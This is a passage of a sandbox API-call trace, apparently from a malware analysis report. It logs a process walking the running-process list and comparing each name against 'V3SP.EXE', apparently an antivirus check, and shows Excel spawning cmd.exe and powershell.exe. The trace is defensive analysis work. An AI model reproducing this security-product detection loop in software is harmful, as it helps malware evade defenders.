(lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.570] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.570] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.570] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.570] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.570] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="V3SP.EXE") returned 1 [0074.570] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.571] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.571] lstrlenW (lpString="taskhost.exe") returned 12 [0074.571] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.571] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.571] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.571] lstrcpyW (in: lpString1=0x18f0b0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.571] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.571] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.571] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="V3SP.EXE") returned -1 [0074.571] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.572] lstrcpyW (in: lpString1=0x18f0b0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.572] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.572] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.572] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="V3SP.EXE") returned -1 [0074.572] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.572] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.572] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.572] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.572] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="V3SP.EXE") returned 1 [0074.572] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.573] lstrcpyW (in: lpString1=0x18f0b0, lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.573] lstrlenW (lpString="temp la various.exe") returned 19 [0074.573] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.573] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="V3SP.EXE") returned -1 [0074.573] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.573] lstrcpyW (in: lpString1=0x18f0b0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.573] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.573] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.573] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="V3SP.EXE") returned -1 [0074.573] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.616] lstrcpyW (in: lpString1=0x18f0b0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.616] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.616] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.616] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="V3SP.EXE") returned -1 [0074.618] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.623] lstrcpyW (in: lpString1=0x18f0b0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.623] lstrlenW (lpString="houses.exe") returned 10 [0074.623] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.623] lstrcmpW (lpString1="HOUSES.EXE", lpString2="V3SP.EXE") returned -1 [0074.623] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.624] lstrcpyW (in: lpString1=0x18f0b0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.624] lstrlenW (lpString="renewal.exe") returned 11 [0074.624] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.627] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="V3SP.EXE") returned -1 [0074.627] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.627] lstrcpyW (in: lpString1=0x18f0b0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.627] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.627] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.627] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="V3SP.EXE") returned 1 [0074.627] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.628] lstrcpyW (in: lpString1=0x18f0b0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.628] lstrlenW (lpString="courses ham.exe") returned 15 [0074.628] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.628] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="V3SP.EXE") returned -1 [0074.628] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.628] lstrcpyW (in: lpString1=0x18f0b0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.628] lstrlenW (lpString="canon.exe") returned 9 [0074.628] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.628] lstrcmpW (lpString1="CANON.EXE", lpString2="V3SP.EXE") returned -1 [0074.628] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.629] lstrcpyW (in: lpString1=0x18f0b0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.629] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.629] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.629] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="V3SP.EXE") returned -1 [0074.629] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.629] lstrcpyW (in: lpString1=0x18f0b0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.629] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.629] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.629] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="V3SP.EXE") returned -1 [0074.629] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.630] lstrcpyW (in: lpString1=0x18f0b0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.630] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.630] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.630] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="V3SP.EXE") returned -1 [0074.630] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.630] lstrcpyW (in: lpString1=0x18f0b0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.630] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.630] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") returned 0x18 [0074.630] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="V3SP.EXE") returned -1 [0074.630] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.631] lstrcpyW (in: lpString1=0x18f0b0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.631] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.631] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.631] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="V3SP.EXE") returned -1 [0074.631] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.631] lstrcpyW (in: lpString1=0x18f0b0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.631] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.631] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.631] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="V3SP.EXE") returned -1 [0074.631] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.632] lstrcpyW (in: lpString1=0x18f0b0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.632] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.632] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.632] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="V3SP.EXE") returned -1 [0074.632] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.632] lstrcpyW (in: lpString1=0x18f0b0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.632] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.632] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.632] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="V3SP.EXE") returned -1 [0074.632] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.633] lstrcpyW (in: lpString1=0x18f0b0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.633] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.633] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.633] lstrcmpW (lpString1="EXCEL.EXE", lpString2="V3SP.EXE") returned -1 [0074.633] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.633] lstrcpyW (in: lpString1=0x18f0b0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.633] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.633] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.633] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="V3SP.EXE") returned -1 [0074.633] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.634] lstrcpyW (in: lpString1=0x18f0b0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.634] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.634] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.634] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="V3SP.EXE") returned -1 [0074.634] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.634] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.634] lstrlenW (lpString="svchost.exe") returned 11 [0074.634] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.634] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.634] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.635] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.635] lstrlenW (lpString="cmd.exe") returned 7 [0074.635] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.635] lstrcmpW (lpString1="CMD.EXE", lpString2="V3SP.EXE") returned -1 [0074.635] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.635] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.635] lstrlenW (lpString="conhost.exe") returned 11 [0074.635] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.635] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.635] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.635] lstrcpyW (in: lpString1=0x18f0b0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.636] lstrlenW (lpString="powershell.exe") returned 14 [0074.636] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.636] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="V3SP.EXE") returned -1 [0074.636] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.636] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.636] lstrlenW (lpString="cmd_.exe") returned 8 [0074.636] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.636] lstrcmpW (lpString1="CMD_.EXE", lpString2="V3SP.EXE") returned -1 [0074.636] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.637] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.637] lstrlenW (lpString="taskeng.exe") returned 11 [0074.637] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.637] lstrcmpW (lpString1="TASKENG.EXE", lpString2="V3SP.EXE") returned -1 [0074.637] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.637] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.637] lstrlenW (lpString="cmd.exe") returned 7 [0074.637] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.637] lstrcmpW (lpString1="CMD.EXE", lpString2="V3SP.EXE") returned -1 [0074.637] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.638] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.638] lstrlenW (lpString="conhost.exe") returned 11 [0074.638] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.638] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.638] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.638] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.638] lstrlenW (lpString="cmd.exe") returned 7 [0074.638] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.638] lstrcmpW (lpString1="CMD.EXE", lpString2="V3SP.EXE") returned -1 [0074.638] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.639] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.639] lstrlenW (lpString="conhost.exe") returned 11 [0074.639] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.639] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.639] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.639] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.639] lstrlenW (lpString="cmd.exe") returned 7 [0074.640] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.640] lstrcmpW (lpString1="CMD.EXE", lpString2="V3SP.EXE") returned -1 [0074.640] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.640] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.640] lstrlenW (lpString="conhost.exe") returned 11 [0074.640] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.640] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.640] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, 